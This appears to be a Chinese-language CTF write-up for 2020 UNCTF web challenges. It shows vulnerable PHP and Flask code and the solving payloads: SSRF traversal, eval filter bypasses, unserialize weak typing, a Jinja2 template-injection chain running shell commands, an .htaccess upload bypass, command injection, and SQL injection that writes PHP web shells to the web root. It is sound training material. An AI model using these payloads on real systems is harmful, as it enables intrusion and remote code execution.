

## easy\_ssrf

```
1 <?php
2 echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
3 highlight_file(__FILE__);
4 $url = $_GET['url'];
5 if(preg_match('/unctf\.com/', $url)){
6     if(!preg_match('/php|file|zip|bzip|zlib|base|data/i', $url)){
7         $url=file_get_contents($url);
8         echo($url);
9     }else{
10         echo('error!!');
11     }
12 }else{
13     echo("error");
14 }
15 ?>
```

?url=0://unctf.com/../../../../../../../../flag

是自己出过的原题，原理见博客

## easyunserialize

```
1 <?php
2 error_reporting(0);
3 highlight_file(__FILE__);
4
5 class a
6 {
7     public $uname;
8     public $password;
9     public function __construct($uname,$password)
10     {
11         $this->uname=$uname;
12         $this->password=$password;
13     }
14     public function __wakeup()
15     {
16         if($this->password==='easy')
17         {
18             include('flag.php');
19             echo $flag;
20         }
21         else
22         {
23             echo 'wrong password';
24         }
25     }
26 }
27
28 function filter($string){
29     return str_replace('challenge','easychallenge',$string);
```

```

30 }
31
32 $uname=$_GET[1];
33 $password=1;
34 $ser=filter(serialize(new a($uname,$password)));
35 $test=unserialize($ser);
36 ?>

```

## babyeval

```

1  <?php
2      // flag在flag.php
3      if(isset($_GET['a'])) {
4          if(preg_match('/\(.*\)/', $_GET['a']))
5              die('hacker!!!');
6          ob_start(function($data){
7              if (strpos($data, 'flag') !== false)
8                  //strpos()函数查找字符串在另一字符串中第一次出现的位置（区分大小写）
9                  return 'ByeBye hacker';
10                 return false;
11             });
12             eval($_GET['a']);
13         } else {
14             highlight_file(__FILE__);
15         }
16     ?>

```

```

1  exp
2  ?a=?><?=`base64 flag.php`;

```

原理是利用base64加密输出数据满足不匹配flag关键词

## ezphp

```

1  <?php
2  error_reporting(0);
3  show_source(__FILE__);
4  $username  = "admin";
5  $password  = "password";
6  include("flag.php");
7  $data = isset($_POST['data'])? $_POST['data']: "" ;
8  $data_unserialize = unserialize($data);
9  if
    ($data_unserialize['username']==$username&&$data_unserialize['password']==$p
    assword){
10     echo 'success';
11 }else{
12     echo "username or password error!";
13 }

```

```

1  #exp.php
2  <?php
3  $a=array('username'=>'0','password'=>'0');
4  echo serialize($a);

```

这里利用0的原理是因为经过测试发现\$username和\$password应该在flag.php里面重新覆盖啦，就不能正确的知道用户名和密码的值。就利用弱类型去测试

## easyflask

<https://0day.work/jinja2-template-injection-filter-bypasses/>

```

1  guess=
    {{{((((((((()|attr(request.args.a))|attr(request.args.b))|attr(request.args.c)
    (1))|attr(request.args.d)())|attr(request.args.e)
    (117))|attr(request.args.f))|attr(request.args.g))|attr(request.args.i)
    (request.args.h)(request.args.j))|attr(request.args.k)
    ()}}}&a=__class__&b=__mro__&c=__getitem__&d=__subclasses__&e=pop&f=__init__&sc=
    __g=__globals__&h=popen&i=get&j=cat%20flag.txt&k=read

```

## L0vephp

<https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html>

```
1 POST /1nD3x.php?1[]=test&1[]=system('cat /flag_mdnrvv1db');&2=assert
2
3 code=usort(...$_GET);
```

## easyphp

```
1 <?php
2 for ($verif=988888888; $verif < 999999999; $verif++) {
3     $x=sha1(strval('0e'.$verif));
4     if(substr($x,0,2)=='0e' && is_numeric(substr($x,2))){
5         echo $x;
6     }
7 }
```

```
1 adminPassword=202cb962ac59075b964b07152d234b70&password=123&verif=0e129063370
4&a>1;phpinfo();//var1var1=1
```

## easy\_upload

<https://www.cnblogs.com/W4nder/p/12829102.html>

上传.htaccess进行利用

并且.htaccess内容绕过ph

```
1 Addtype application/x-httpd-p\
2 hp exp.jpg
3 #由于不能有ph, 故用换行拼接
```

```
1 #exp.jpg
2 <?=`cat /flag`;
```

另一个方法是

htaccess可以启用cgi, 来执行bash脚本

```
1 .htaccess
2
3 Options +ExecCGI
4 AddHandler cgi-script .sh
```

```
1 solve.sh
2
3 #!/bin/bash
4 echo "Content-Type: text/plain"
5 echo ""
6 cat /flag
7 exit 0
```

## UN's\_online\_tools

---

```
| cat /flag
```

## ezfind

---

```
%00
```

## checkin-sql

---

<https://blog.csdn.net/Wu000999/article/details/100802819>

<https://www.cnblogs.com/hackhackgo/p/13503486.html>

```
1';PREPARE test from concat('s','elect',' "<?php eval($_POST[1]);?>" into outfile
"/var/www/html/8',char(46),'php');EXECUTE test;#
```

```
mysql> select concat('s','elect',' 123 into outfile "23',char(46),'php");
+-----+
| concat('s','elect',' 123 into outfile "23',char(46),'php") |
+-----+
| select 123 into outfile "23.php" |
+-----+
1 row in set (0.00 sec)
```

```
1 1';PREPARE test from concat('s','elect',' "<?php eval($_POST[1]);?>" into
outfile "/var/www/html/8',char(46),'php');EXECUTE test;#
```

```
1 1' union select 1,2,"<?php @eval($_POST[cmd]);?>" into outfile
"/var/www/html/1.php"%23
```